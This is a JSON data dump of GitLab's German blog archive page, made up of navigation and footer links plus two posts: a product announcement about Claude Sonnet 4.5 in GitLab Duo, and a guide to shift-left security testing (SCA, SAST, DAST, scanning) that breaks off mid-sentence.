[{"data":1,"prerenderedAt":3876},["ShallowReactive",2],{"/de-de/blog/archive/":3,"navigation-de-de":21,"banner-de-de":441,"footer-de-de":454,"archivePosts-de-de":663},{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":8,"content":11,"config":13,"_id":15,"_type":16,"title":7,"_source":17,"_file":18,"_stem":19,"_extension":20},"/de-de/blog/archive","blog",false,"",{"title":9,"description":10},"GitLab Blog Archives","Tutorials, product information, expert insights, and more from GitLab to help DevSecOps teams build, test, and deploy secure software faster.",{"header":12},"Blog Archive",{"template":14},"BlogArchive","content:de-de:blog:archive:index.yml","yaml","content","de-de/blog/archive/index.yml","de-de/blog/archive/index","yml",{"_path":22,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":24,"_id":437,"_type":16,"title":438,"_source":17,"_file":439,"_stem":440,"_extension":20},"/shared/de-de/main-navigation","de-de",{"logo":25,"freeTrial":30,"sales":35,"login":40,"items":45,"search":378,"minimal":414,"duo":428},{"config":26},{"href":27,"dataGaName":28,"dataGaLocation":29},"/de-de/","gitlab logo","header",{"text":31,"config":32},"Kostenlose Testversion anfordern",{"href":33,"dataGaName":34,"dataGaLocation":29},"https://gitlab.com/-/trial_registrations/new?glm_source=about.gitlab.com&glm_content=default-saas-trial/","free trial",{"text":36,"config":37},"Vertrieb kontaktieren",{"href":38,"dataGaName":39,"dataGaLocation":29},"/de-de/sales/","sales",{"text":41,"config":42},"Anmelden",{"href":43,"dataGaName":44,"dataGaLocation":29},"https://gitlab.com/users/sign_in/","sign in",[46,90,189,194,299,359],{"text":47,"config":48,"cards":50,"footer":73},"Plattform",{"dataNavLevelOne":49},"platform",[51,57,65],{"title":47,"description":52,"link":53},"Die umfassendste KI-basierte DevSecOps-Plattform",{"text":54,"config":55},"Erkunde unsere Plattform",{"href":56,"dataGaName":49,"dataGaLocation":29},"/de-de/platform/",{"title":58,"description":59,"link":60},"GitLab Duo (KI)","Entwickle Software schneller mit KI in jeder Phase der Entwicklung",{"text":61,"config":62},"Lerne GitLab Duo kennen",{"href":63,"dataGaName":64,"dataGaLocation":29},"/de-de/gitlab-duo/","gitlab duo ai",{"title":66,"description":67,"link":68},"Gründe, die für GitLab sprechen","10 Gründe, warum Unternehmen sich für GitLab entscheiden",{"text":69,"config":70},"Mehr erfahren",{"href":71,"dataGaName":72,"dataGaLocation":29},"/de-de/why-gitlab/","why gitlab",{"title":74,"items":75},"Erste Schritte mit",[76,81,86],{"text":77,"config":78},"Platform Engineering",{"href":79,"dataGaName":80,"dataGaLocation":29},"/de-de/solutions/platform-engineering/","platform engineering",{"text":82,"config":83},"Entwicklererfahrung",{"href":84,"dataGaName":85,"dataGaLocation":29},"/de-de/developer-experience/","Developer experience",{"text":87,"config":88},"MLOps",{"href":89,"dataGaName":87,"dataGaLocation":29},"/de-de/topics/devops/the-role-of-ai-in-devops/",{"text":91,"left":92,"config":93,"link":95,"lists":99,"footer":171},"Produkt",true,{"dataNavLevelOne":94},"solutions",{"text":96,"config":97},"Alle Lösungen anzeigen",{"href":98,"dataGaName":94,"dataGaLocation":29},"/de-de/solutions/",[100,126,149],{"title":101,"description":102,"link":103,"items":108},"Automatisierung","CI/CD und Automatisierung zur Beschleunigung der Bereitstellung",{"config":104},{"icon":105,"href":106,"dataGaName":107,"dataGaLocation":29},"AutomatedCodeAlt","/solutions/delivery-automation/","automated software delivery",[109,113,117,122],{"text":110,"config":111},"CI/CD",{"href":112,"dataGaLocation":29,"dataGaName":110},"/de-de/solutions/continuous-integration/",{"text":114,"config":115},"KI-unterstützte Entwicklung",{"href":63,"dataGaLocation":29,"dataGaName":116},"AI assisted development",{"text":118,"config":119},"Quellcodeverwaltung",{"href":120,"dataGaLocation":29,"dataGaName":121},"/de-de/solutions/source-code-management/","Source Code Management",{"text":123,"config":124},"Automatisierte Softwarebereitstellung",{"href":106,"dataGaLocation":29,"dataGaName":125},"Automated software delivery",{"title":127,"description":128,"link":129,"items":134},"Sicherheit","Entwickle schneller, ohne die Sicherheit zu gefährden",{"config":130},{"href":131,"dataGaName":132,"dataGaLocation":29,"icon":133},"/de-de/solutions/security-compliance/","security and compliance","ShieldCheckLight",[135,140,145],{"text":136,"config":137},"Application Security Testing",{"href":138,"dataGaName":139,"dataGaLocation":29},"/solutions/application-security-testing/","Application security testing",{"text":141,"config":142},"Schutz der Software-Lieferkette",{"href":143,"dataGaLocation":29,"dataGaName":144},"/de-de/solutions/supply-chain/","Software supply chain security",{"text":146,"config":147},"Software Compliance",{"href":148,"dataGaName":146,"dataGaLocation":29},"/solutions/software-compliance/",{"title":150,"link":151,"items":156},"Bewertung",{"config":152},{"icon":153,"href":154,"dataGaName":155,"dataGaLocation":29},"DigitalTransformation","/de-de/solutions/visibility-measurement/","visibility and measurement",[157,161,166],{"text":158,"config":159},"Sichtbarkeit und Bewertung",{"href":154,"dataGaLocation":29,"dataGaName":160},"Visibility and Measurement",{"text":162,"config":163},"Wertstrommanagement",{"href":164,"dataGaLocation":29,"dataGaName":165},"/de-de/solutions/value-stream-management/","Value Stream Management",{"text":167,"config":168},"Analysen und Einblicke",{"href":169,"dataGaLocation":29,"dataGaName":170},"/de-de/solutions/analytics-and-insights/","Analytics and insights",{"title":172,"items":173},"GitLab für",[174,179,184],{"text":175,"config":176},"Enterprise",{"href":177,"dataGaLocation":29,"dataGaName":178},"/de-de/enterprise/","enterprise",{"text":180,"config":181},"Kleinunternehmen",{"href":182,"dataGaLocation":29,"dataGaName":183},"/de-de/small-business/","small business",{"text":185,"config":186},"den öffentlichen Sektor",{"href":187,"dataGaLocation":29,"dataGaName":188},"/de-de/solutions/public-sector/","public sector",{"text":190,"config":191},"Preise",{"href":192,"dataGaName":193,"dataGaLocation":29,"dataNavLevelOne":193},"/de-de/pricing/","pricing",{"text":195,"config":196,"link":198,"lists":202,"feature":286},"Ressourcen",{"dataNavLevelOne":197},"resources",{"text":199,"config":200},"Alle Ressourcen anzeigen",{"href":201,"dataGaName":197,"dataGaLocation":29},"/de-de/resources/",[203,236,258],{"title":204,"items":205},"Erste Schritte",[206,211,216,221,226,231],{"text":207,"config":208},"Installieren",{"href":209,"dataGaName":210,"dataGaLocation":29},"/de-de/install/","install",{"text":212,"config":213},"Kurzanleitungen",{"href":214,"dataGaName":215,"dataGaLocation":29},"/de-de/get-started/","quick setup checklists",{"text":217,"config":218},"Lernen",{"href":219,"dataGaLocation":29,"dataGaName":220},"https://university.gitlab.com/","learn",{"text":222,"config":223},"Produktdokumentation",{"href":224,"dataGaName":225,"dataGaLocation":29},"https://docs.gitlab.com/","product documentation",{"text":227,"config":228},"Best-Practice-Videos",{"href":229,"dataGaName":230,"dataGaLocation":29},"/de-de/getting-started-videos/","best practice videos",{"text":232,"config":233},"Integrationen",{"href":234,"dataGaName":235,"dataGaLocation":29},"/de-de/integrations/","integrations",{"title":237,"items":238},"Entdecken",[239,244,248,253],{"text":240,"config":241},"Kundenerfolge",{"href":242,"dataGaName":243,"dataGaLocation":29},"/de-de/customers/","customer success stories",{"text":245,"config":246},"Blog",{"href":247,"dataGaName":5,"dataGaLocation":29},"/de-de/blog/",{"text":249,"config":250},"Remote",{"href":251,"dataGaName":252,"dataGaLocation":29},"https://handbook.gitlab.com/handbook/company/culture/all-remote/","remote",{"text":254,"config":255},"TeamOps",{"href":256,"dataGaName":257,"dataGaLocation":29},"/de-de/teamops/","teamops",{"title":259,"items":260},"Vernetzen",[261,266,271,276,281],{"text":262,"config":263},"GitLab-Services",{"href":264,"dataGaName":265,"dataGaLocation":29},"/de-de/services/","services",{"text":267,"config":268},"Community",{"href":269,"dataGaName":270,"dataGaLocation":29},"/community/","community",{"text":272,"config":273},"Forum",{"href":274,"dataGaName":275,"dataGaLocation":29},"https://forum.gitlab.com/","forum",{"text":277,"config":278},"Veranstaltungen",{"href":279,"dataGaName":280,"dataGaLocation":29},"/events/","events",{"text":282,"config":283},"Partner",{"href":284,"dataGaName":285,"dataGaLocation":29},"/partners/","partners",{"backgroundColor":287,"textColor":288,"text":289,"image":290,"link":294},"#2f2a6b","#fff","Perspektiven für die Softwareentwicklung der Zukunft",{"altText":291,"config":292},"the source promo card",{"src":293},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758208064/dzl0dbift9xdizyelkk4.svg",{"text":295,"config":296},"Lies die News",{"href":297,"dataGaName":298,"dataGaLocation":29},"/de-de/the-source/","the source",{"text":300,"config":301,"lists":303},"Unternehmen",{"dataNavLevelOne":302},"company",[304],{"items":305},[306,311,317,319,324,329,334,339,344,349,354],{"text":307,"config":308},"Über",{"href":309,"dataGaName":310,"dataGaLocation":29},"/de-de/company/","about",{"text":312,"config":313,"footerGa":316},"Karriere",{"href":314,"dataGaName":315,"dataGaLocation":29},"/jobs/","jobs",{"dataGaName":315},{"text":277,"config":318},{"href":279,"dataGaName":280,"dataGaLocation":29},{"text":320,"config":321},"Geschäftsführung",{"href":322,"dataGaName":323,"dataGaLocation":29},"/company/team/e-group/","leadership",{"text":325,"config":326},"Team",{"href":327,"dataGaName":328,"dataGaLocation":29},"/company/team/","team",{"text":330,"config":331},"Handbuch",{"href":332,"dataGaName":333,"dataGaLocation":29},"https://handbook.gitlab.com/","handbook",{"text":335,"config":336},"Investor Relations",{"href":337,"dataGaName":338,"dataGaLocation":29},"https://ir.gitlab.com/","investor relations",{"text":340,"config":341},"Trust Center",{"href":342,"dataGaName":343,"dataGaLocation":29},"/de-de/security/","trust center",{"text":345,"config":346},"AI Transparency Center",{"href":347,"dataGaName":348,"dataGaLocation":29},"/de-de/ai-transparency-center/","ai transparency center",{"text":350,"config":351},"Newsletter",{"href":352,"dataGaName":353,"dataGaLocation":29},"/company/contact/","newsletter",{"text":355,"config":356},"Presse",{"href":357,"dataGaName":358,"dataGaLocation":29},"/press/","press",{"text":360,"config":361,"lists":362},"Kontakt",{"dataNavLevelOne":302},[363],{"items":364},[365,368,373],{"text":36,"config":366},{"href":38,"dataGaName":367,"dataGaLocation":29},"talk to sales",{"text":369,"config":370},"Support",{"href":371,"dataGaName":372,"dataGaLocation":29},"/support/","get help",{"text":374,"config":375},"Kundenportal",{"href":376,"dataGaName":377,"dataGaLocation":29},"https://customers.gitlab.com/customers/sign_in/","customer portal",{"close":379,"login":380,"suggestions":387},"Schließen",{"text":381,"link":382},"Um Repositories und Projekte zu durchsuchen, melde dich an bei",{"text":383,"config":384},"gitlab.com",{"href":43,"dataGaName":385,"dataGaLocation":386},"search login","search",{"text":388,"default":389},"Vorschläge",[390,393,398,400,405,410],{"text":58,"config":391},{"href":63,"dataGaName":392,"dataGaLocation":386},"GitLab Duo (AI)",{"text":394,"config":395},"Code Suggestions (KI)",{"href":396,"dataGaName":397,"dataGaLocation":386},"/de-de/solutions/code-suggestions/","Code Suggestions (AI)",{"text":110,"config":399},{"href":112,"dataGaName":110,"dataGaLocation":386},{"text":401,"config":402},"GitLab auf AWS",{"href":403,"dataGaName":404,"dataGaLocation":386},"/de-de/partners/technology-partners/aws/","GitLab on AWS",{"text":406,"config":407},"GitLab auf Google Cloud",{"href":408,"dataGaName":409,"dataGaLocation":386},"/de-de/partners/technology-partners/google-cloud-platform/","GitLab on Google Cloud",{"text":411,"config":412},"Warum GitLab?",{"href":71,"dataGaName":413,"dataGaLocation":386},"Why GitLab?",{"freeTrial":415,"mobileIcon":420,"desktopIcon":425},{"text":416,"config":417},"Kostenlos testen",{"href":418,"dataGaName":34,"dataGaLocation":419},"https://gitlab.com/-/trials/new/","nav",{"altText":421,"config":422},"GitLab-Symbol",{"src":423,"dataGaName":424,"dataGaLocation":419},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203874/jypbw1jx72aexsoohd7x.svg","gitlab icon",{"altText":421,"config":426},{"src":427,"dataGaName":424,"dataGaLocation":419},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1758203875/gs4c8p8opsgvflgkswz9.svg",{"freeTrial":429,"mobileIcon":433,"desktopIcon":435},{"text":430,"config":431},"Erfahre mehr über GitLab Duo",{"href":63,"dataGaName":432,"dataGaLocation":419},"gitlab duo",{"altText":421,"config":434},{"src":423,"dataGaName":424,"dataGaLocation":419},{"altText":421,"config":436},{"src":427,"dataGaName":424,"dataGaLocation":419},"content:shared:de-de:main-navigation.yml","Main Navigation","shared/de-de/main-navigation.yml","shared/de-de/main-navigation",{"_path":442,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"title":443,"button":444,"config":449,"_id":451,"_type":16,"_source":17,"_file":452,"_stem":453,"_extension":20},"/shared/de-de/banner","GitLab Duo Agent Platform ist jetzt in öffentlicher Beta!",{"text":445,"config":446},"Beta testen",{"href":447,"dataGaName":448,"dataGaLocation":29},"/de-de/gitlab-duo/agent-platform/","duo banner",{"layout":450},"release","content:shared:de-de:banner.yml","shared/de-de/banner.yml","shared/de-de/banner",{"_path":455,"_dir":23,"_draft":6,"_partial":6,"_locale":7,"data":456,"_id":659,"_type":16,"title":660,"_source":17,"_file":661,"_stem":662,"_extension":20},"/shared/de-de/main-footer",{"text":457,"source":458,"edit":464,"contribute":469,"config":474,"items":479,"minimal":651},"Git ist eine Marke von Software Freedom Conservancy und unsere Verwendung von „GitLab“ erfolgt unter Lizenz.",{"text":459,"config":460},"Quelltext der Seite anzeigen",{"href":461,"dataGaName":462,"dataGaLocation":463},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/","page source","footer",{"text":465,"config":466},"Diese Seite bearbeiten",{"href":467,"dataGaName":468,"dataGaLocation":463},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/content/","web ide",{"text":470,"config":471},"Beteilige dich",{"href":472,"dataGaName":473,"dataGaLocation":463},"https://gitlab.com/gitlab-com/marketing/digital-experience/about-gitlab-com/-/blob/main/CONTRIBUTING.md/","please contribute",{"twitter":475,"facebook":476,"youtube":477,"linkedin":478},"https://x.com/gitlab","https://www.facebook.com/gitlab","https://www.youtube.com/channel/UCnMGQ8QHMAnVIsI3xJrihhg","https://www.linkedin.com/company/gitlab-com",[480,503,558,587,621],{"title":47,"links":481,"subMenu":486},[482],{"text":483,"config":484},"DevSecOps-Plattform",{"href":56,"dataGaName":485,"dataGaLocation":463},"devsecops platform",[487],{"title":190,"links":488},[489,493,498],{"text":490,"config":491},"Tarife anzeigen",{"href":192,"dataGaName":492,"dataGaLocation":463},"view plans",{"text":494,"config":495},"Vorteile von Premium",{"href":496,"dataGaName":497,"dataGaLocation":463},"/de-de/pricing/premium/","why premium",{"text":499,"config":500},"Vorteile von Ultimate",{"href":501,"dataGaName":502,"dataGaLocation":463},"/de-de/pricing/ultimate/","why ultimate",{"title":504,"links":505},"Lösungen",[506,511,514,516,521,526,530,533,536,541,543,545,548,553],{"text":507,"config":508},"Digitale Transformation",{"href":509,"dataGaName":510,"dataGaLocation":463},"/de-de/topics/digital-transformation/","digital transformation",{"text":512,"config":513},"Sicherheit und Compliance",{"href":138,"dataGaName":139,"dataGaLocation":463},{"text":123,"config":515},{"href":106,"dataGaName":107,"dataGaLocation":463},{"text":517,"config":518},"Agile Entwicklung",{"href":519,"dataGaName":520,"dataGaLocation":463},"/de-de/solutions/agile-delivery/","agile delivery",{"text":522,"config":523},"Cloud-Transformation",{"href":524,"dataGaName":525,"dataGaLocation":463},"/de-de/topics/cloud-native/","cloud transformation",{"text":527,"config":528},"SCM",{"href":120,"dataGaName":529,"dataGaLocation":463},"source code management",{"text":110,"config":531},{"href":112,"dataGaName":532,"dataGaLocation":463},"continuous integration & delivery",{"text":162,"config":534},{"href":164,"dataGaName":535,"dataGaLocation":463},"value stream management",{"text":537,"config":538},"GitOps",{"href":539,"dataGaName":540,"dataGaLocation":463},"/de-de/solutions/gitops/","gitops",{"text":175,"config":542},{"href":177,"dataGaName":178,"dataGaLocation":463},{"text":180,"config":544},{"href":182,"dataGaName":183,"dataGaLocation":463},{"text":546,"config":547},"Öffentlicher Sektor",{"href":187,"dataGaName":188,"dataGaLocation":463},{"text":549,"config":550},"Bildungswesen",{"href":551,"dataGaName":552,"dataGaLocation":463},"/de-de/solutions/education/","education",{"text":554,"config":555},"Finanzdienstleistungen",{"href":556,"dataGaName":557,"dataGaLocation":463},"/de-de/solutions/finance/","financial services",{"title":195,"links":559},[560,562,564,566,569,571,573,575,577,579,581,583,585],{"text":207,"config":561},{"href":209,"dataGaName":210,"dataGaLocation":463},{"text":212,"config":563},{"href":214,"dataGaName":215,"dataGaLocation":463},{"text":217,"config":565},{"href":219,"dataGaName":220,"dataGaLocation":463},{"text":222,"config":567},{"href":224,"dataGaName":568,"dataGaLocation":463},"docs",{"text":245,"config":570},{"href":247,"dataGaName":5,"dataGaLocation":463},{"text":240,"config":572},{"href":242,"dataGaName":243,"dataGaLocation":463},{"text":249,"config":574},{"href":251,"dataGaName":252,"dataGaLocation":463},{"text":262,"config":576},{"href":264,"dataGaName":265,"dataGaLocation":463},{"text":254,"config":578},{"href":256,"dataGaName":257,"dataGaLocation":463},{"text":267,"config":580},{"href":269,"dataGaName":270,"dataGaLocation":463},{"text":272,"config":582},{"href":274,"dataGaName":275,"dataGaLocation":463},{"text":277,"config":584},{"href":279,"dataGaName":280,"dataGaLocation":463},{"text":282,"config":586},{"href":284,"dataGaName":285,"dataGaLocation":463},{"title":300,"links":588},[589,591,593,595,597,599,601,605,610,612,614,616],{"text":307,"config":590},{"href":309,"dataGaName":302,"dataGaLocation":463},{"text":312,"config":592},{"href":314,"dataGaName":315,"dataGaLocation":463},{"text":320,"config":594},{"href":322,"dataGaName":323,"dataGaLocation":463},{"text":325,"config":596},{"href":327,"dataGaName":328,"dataGaLocation":463},{"text":330,"config":598},{"href":332,"dataGaName":333,"dataGaLocation":463},{"text":335,"config":600},{"href":337,"dataGaName":338,"dataGaLocation":463},{"text":602,"config":603},"Sustainability",{"href":604,"dataGaName":602,"dataGaLocation":463},"/sustainability/",{"text":606,"config":607},"Vielfalt, Inklusion und Zugehörigkeit",{"href":608,"dataGaName":609,"dataGaLocation":463},"/de-de/diversity-inclusion-belonging/","Diversity, inclusion and belonging",{"text":340,"config":611},{"href":342,"dataGaName":343,"dataGaLocation":463},{"text":350,"config":613},{"href":352,"dataGaName":353,"dataGaLocation":463},{"text":355,"config":615},{"href":357,"dataGaName":358,"dataGaLocation":463},{"text":617,"config":618},"Transparenzerklärung zu moderner Sklaverei",{"href":619,"dataGaName":620,"dataGaLocation":463},"https://handbook.gitlab.com/handbook/legal/modern-slavery-act-transparency-statement/","modern slavery transparency statement",{"title":622,"links":623},"Nimm Kontakt auf",[624,627,629,631,636,641,646],{"text":625,"config":626},"Sprich mit einem Experten/einer Expertin",{"href":38,"dataGaName":39,"dataGaLocation":463},{"text":369,"config":628},{"href":371,"dataGaName":372,"dataGaLocation":463},{"text":374,"config":630},{"href":376,"dataGaName":377,"dataGaLocation":463},{"text":632,"config":633},"Status",{"href":634,"dataGaName":635,"dataGaLocation":463},"https://status.gitlab.com/","status",{"text":637,"config":638},"Nutzungsbedingungen",{"href":639,"dataGaName":640,"dataGaLocation":463},"/terms/","terms of use",{"text":642,"config":643},"Datenschutzerklärung",{"href":644,"dataGaName":645,"dataGaLocation":463},"/de-de/privacy/","privacy statement",{"text":647,"config":648},"Cookie-Einstellungen",{"dataGaName":649,"dataGaLocation":463,"id":650,"isOneTrustButton":92},"cookie preferences","ot-sdk-btn",{"items":652},[653,655,657],{"text":637,"config":654},{"href":639,"dataGaName":640,"dataGaLocation":463},{"text":642,"config":656},{"href":644,"dataGaName":645,"dataGaLocation":463},{"text":647,"config":658},{"dataGaName":649,"dataGaLocation":463,"id":650,"isOneTrustButton":92},"content:shared:de-de:main-footer.yml","Main Footer","shared/de-de/main-footer.yml","shared/de-de/main-footer",[664,688,710,730,753,774,794,814,836,858,878,900,921,939,957,983,1001,1021,1041,1065,1085,1103,1124,1142,1162,1182,1200,1222,1242,1261,1279,1298,1315,1333,1352,1372,1390,1411,1433,1456,1477,1497,1520,1542,1563,1582,1601,1621,1640,1660,1678,1703,1724,1743,1763,1783,1802,1823,1842,1862,1882,1900,1922,1942,1960,1980,2001,2021,2040,2060,2080,2101,2121,2140,2162,2182,2205,2227,2246,2265,2286,2307,2328,2348,2367,2388,2406,2425,2444,2463,2483,2504,2525,2546,2566,2586,2605,2624,2645,2664,2684,2704,2727,2746,2765,2785,2808,2830,2850,2871,2890,2909,2928,2950,2969,2988,3009,3029,3052,3073,3092,3111,3131,3152,3173,3192,3211,3230,3251,3270,3292,3311,3330,3349,3368,3388,3407,3428,3450,3471,3490,3508,3529,3549,3570,3592,3611,3631,3652,3672,3693,3713,3733,3752,3773,3793,3817,3837,3857],{"_path":665,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":666,"content":670,"config":681,"_id":684,"_type":16,"title":685,"_source":17,"_file":686,"_stem":687,"_extension":20},"/de-de/blog/greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives",{"config":667,"title":668,"description":669},{"noIndex":6},"Mehr KI-Auswahl in GitLab Duo: Claude Sonnet 4.5 ist da","Anthropics neuestes Modell für Coding und agentische Workflows ist jetzt in GitLab Duo Pro, Enterprise und Agent Platform verfügbar.",{"title":668,"description":671,"authors":672,"heroImage":674,"date":675,"body":676,"category":677,"tags":678},"Anthropics neuestes Modell für Coding und agentische Workflows ist jetzt in GitLab Duo Pro, Duo Enterprise und Duo Agent Platform verfügbar.",[673],"Tim Zallmann","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749659856/Blog/Hero%20Images/blog-hero-banner-1-0178-820x470-fy25.png","2025-09-29","GitLab bietet ab sofort Claude Sonnet 4.5, Anthropics fortschrittlichstes Modell für Coding und Real-World-Agenten, direkt im GitLab Duo Modell-Selektor an.\n\nNutzer(innen) haben nun die Flexibilität, Claude Sonnet 4.5 neben anderen führenden Modellen auszuwählen und ihre [GitLab Duo](https://about.gitlab.com/de-de/gitlab-duo/)-Experience mit Verbesserungen in Tool-Orchestrierung, Kontext-Bearbeitung und domänenspezifischen Fähigkeiten zu erweitern. Mit Spitzenleistung auf [SWE-bench Verified (77,2%)](https://www.anthropic.com/news/claude-sonnet-4-5) und Stärken in Cybersecurity, Finanzen und forschungsintensiven Workflows können GitLab-Nutzer(innen) Claude Sonnet 4.5 einsetzen, um schärfere Einblicke und tieferen Kontext in ihre Entwicklungsarbeit zu bringen.\n\n„Claude Sonnet 4.5 in GitLab zu haben, ist ein großer Gewinn für Entwickler(innen). Es ist ein wirklich leistungsfähiges Coding-Modell, und wenn du es mit der GitLab Duo Agent Platform verwendest, erhältst du smartere Hilfe direkt in deinen Workflows. Es ist die Art von Schritt, die Entwicklung einfacher macht\", sagt Taylor McCaslin, Principal, Strategy and Operations for AI Partnerships bei GitLab.\n\n## GitLab Duo Agent Platform + Claude Sonnet 4.5\n\nDie [GitLab Duo Agent Platform](https://about.gitlab.com/de-de/gitlab-duo/agent-platform/) erweitert die Leistungsfähigkeit von Claude Sonnet 4.5, indem sie Agenten orchestriert, sie mit internen Systemen verbindet und sie über den gesamten Software-Lebenszyklus integriert. Diese Kombination schafft eine einzigartig GitLab-Experience – in der fortschrittliches Reasoning und Problemlösung auf plattformweiten Kontext und Sicherheit treffen. Das Ergebnis ist schnellere Entwicklung, genauere Ergebnisse und stärkere organisatorische Abdeckung – alles direkt im GitLab-Workflow, den Entwickler(innen) täglich nutzen.\n\n## Wo du Claude Sonnet 4.5 nutzen kannst\n\nClaude Sonnet 4.5 ist jetzt als Modelloption in GitLab Duo Agent Platform Agentic Chat auf GitLab.com verfügbar. Du kannst Claude Sonnet 4.5 aus dem Modellauswahl-Dropdown wählen, um seine fortschrittlichen Coding-Fähigkeiten für deine Entwicklungsaufgaben zu nutzen.\n\n![Dropdown-Auswahl für Claude Sonnet 4.5 in GitLab Duo](https://res.cloudinary.com/about-gitlab-com/image/upload/v1759180378/sopuv0msxrmhzt2dyxdi.png){altText=\"Screenshot showing the model selection dropdown in GitLab Duo with Claude Sonnet 4.5 highlighted as an available option\"}\n\n**Hinweis:** Die Möglichkeit, Claude Sonnet 4.5 in unterstützten IDEs auszuwählen, wird bald verfügbar sein.\n\n## Leg los\n\nGitLab Duo Pro- und Enterprise-Kund(inn)en können Claude Sonnet 4.5 ab sofort nutzen. Besuche unsere [Dokumentation](https://docs.gitlab.com/user/gitlab_duo/), um mehr über GitLab Duo-Funktionen und -Modelle zu erfahren.\n\nFragen oder Feedback? Teile deine Erfahrungen über die GitLab Community mit uns.\n\n> Willst du GitLab Ultimate mit Duo Enterprise ausprobieren? [Melde dich noch heute für eine kostenlose Testversion an.](https://about.gitlab.com/de-de/gitlab-duo/)","ai-ml",[679,680],"AI/ML","product",{"featured":92,"template":682,"slug":683},"BlogPost","greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives","content:de-de:blog:greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives.yml","Greater Ai Choice In Gitlab Duo Claude Sonnet 4 5 Arrives","de-de/blog/greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives.yml","de-de/blog/greater-ai-choice-in-gitlab-duo-claude-sonnet-4-5-arrives",{"_path":689,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":690,"content":695,"config":704,"_id":706,"_type":16,"title":707,"_source":17,"_file":708,"_stem":709,"_extension":20},"/de-de/blog/devsecops-shift-left-guide",{"config":691,"title":692,"description":693,"ogImage":694},{"noIndex":6},"Shift Left Security: Wie du DevSecOps frühzeitig in den SDLC einbindest","Erkenne und behebe Sicherheitslücken früh mit Shift-Left-Security. Lerne aus HackerOnes GitLab-Story und erhalte praxisnahe DevSecOps-Tipps.","https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/v1749669134/Blog/Hero%20Images/blog-image-template-1800x945__17_.png",{"title":696,"category":697,"tags":698,"authors":700,"heroImage":694,"body":702,"description":693,"date":703},"Shift Left Security: DevSecOps richtig umsetzen – ein Praxisleitfaden","devsecops",[699],"DevOps platform",[701],"GitLab Germany Team","Traditionelle Sicherheitsmodelle geraten in modernen [DevOps-Umgebungen](https://about.gitlab.com/de-de/topics/devops/) schnell an ihre Grenzen. Sicherheitsprüfungen, die erst spät im Entwicklungsprozess erfolgen, verursachen hohe Kosten, lange Reaktionszeiten und unterbrechen agile Workflows. Der Shift Left Security-Ansatz begegnet diesen Herausforderungen, indem er Sicherheitsmaßnahmen frühzeitig integriert. Statt reaktiv auf Sicherheitslücken zu reagieren, werden Risiken bereits in der Entwicklungsphase erkannt und adressiert. Wir zeigen dir, wie dieser Ansatz funktioniert, welche Vorteile er bietet und wie du Shift Left Security umsetzt.\n\n## **Was ist Shift Left Security?**\n\nShift Left Security bezeichnet einen Ansatz in der Softwareentwicklung, bei dem Sicherheitsmaßnahmen möglichst früh im Entwicklungsprozess integriert werden.\n\nTraditionell wurden Sicherheitstests erst am Ende des Softwareentwicklungszyklus (SDLC) durchgeführt, zum Beispiel in der Test- oder Produktionsphase. Dieses Vorgehen führt oft zu höheren Kosten und längeren Entwicklungszeiten, wenn kritische Sicherheitslücken spät entdeckt werden.\n\nMit dem Shift Left Ansatz wird das Thema Sicherheit nun auf der Zeitachse der Anwendungsentwicklung nach links verschoben, sodass anfälliger Code früh entdeckt werden kann. Ziel ist es, Schwachstellen schon in den frühen Phasen wie Planung, Design oder Codierung zu erkennen und zu beheben, statt sie erst im späteren Verlauf oder nach dem Deployment zu adressieren.\n\n## **Der Shift Left Ansatz**\n\nShift Left Security ist eine strategische Herangehensweise, bei der Sicherheit möglichst früh in den Entwicklungsprozess integriert wird – nicht durch ein einzelnes Tool, sondern durch eine Kombination verschiedener Maßnahmen.\n\nTypischerweise werden dafür Sicherheitstools entlang des Entwicklungszyklus eingesetzt, darunter:\n\n* **SCA (Software Composition Analysis)**: SCA erkennt Schwachstellen und Lizenzrisiken in Open-Source-Komponenten, indem es Paketverwaltung, Manifestdateien, Binärdateien und Container-Images analysiert. Die Ergebnisse werden in einer Software-Stückliste (sog.[ Software Bill of Materials](https://about.gitlab.com/de-de/blog/the-ultimate-guide-to-sboms/)) zusammengeführt und mit Schwachstellen- und Lizenzdatenbanken abgeglichen. So lassen sich Sicherheits- und Compliance-Probleme systematisch aufspüren und schnell adressieren.\n* **SAST (Static Application Security Testing)**: SAST ist ein White-Box-Verfahren, das den Quellcode analysiert, ohne die Anwendung auszuführen. Es spiegelt die Sichtweise von Entwickler(innen) wider und erkennt Schwachstellen früh im Softwareentwicklungszyklus, z. B. fehlende Eingabevalidierung oder unsichere Codemuster. Dadurch ist es besonders kosteneffizient. Laufzeit- oder umgebungsbezogene Probleme kann SAST allerdings nicht erfassen.\n* **DAST (Dynamic Application Security Testing)**: DAST ist ein Black-Box-Verfahren, das laufende Web-Anwendungen testet und sich an der Methodik potenzieller Angreifer(innen) orientiert. Es erkennt Schwachstellen wie XSS, fehlerhafte Authentifizierung oder Konfigurationsfehler zur Laufzeit – ohne Kenntnis des zugrundeliegenden Codes. DAST wird typischerweise in späten Phasen der Entwicklung oder in Testumgebungen eingesetzt und eignet sich ausschließlich für Web-Anwendungen und -Services.\n* **Secret Scanning:** Shift Left Security umfasst auch das Scannen von Container-Images und serverlosen Funktionen, da moderne Anwendungen zunehmend in Containern ausgeführt oder über serverlose Architekturen bereitgestellt werden. Beim Scannen eines [Container-Images](https://about.gitlab.com/de-de/topics/devsecops/beginners-guide-to-container-security/) wird der Inhalt auf Sicherheitslücken, Schwachstellen im Build-Prozess und fehlerhafte Konfigurationen geprüft. Ziel ist es, Probleme zu erkennen, bevor das Image in der Produktion verwendet wird. Das Scannen serverloser Funktionen erfordert spezielle Überwachungslösungen, die cloud-native Umgebungen abdecken und auch ohne klassische 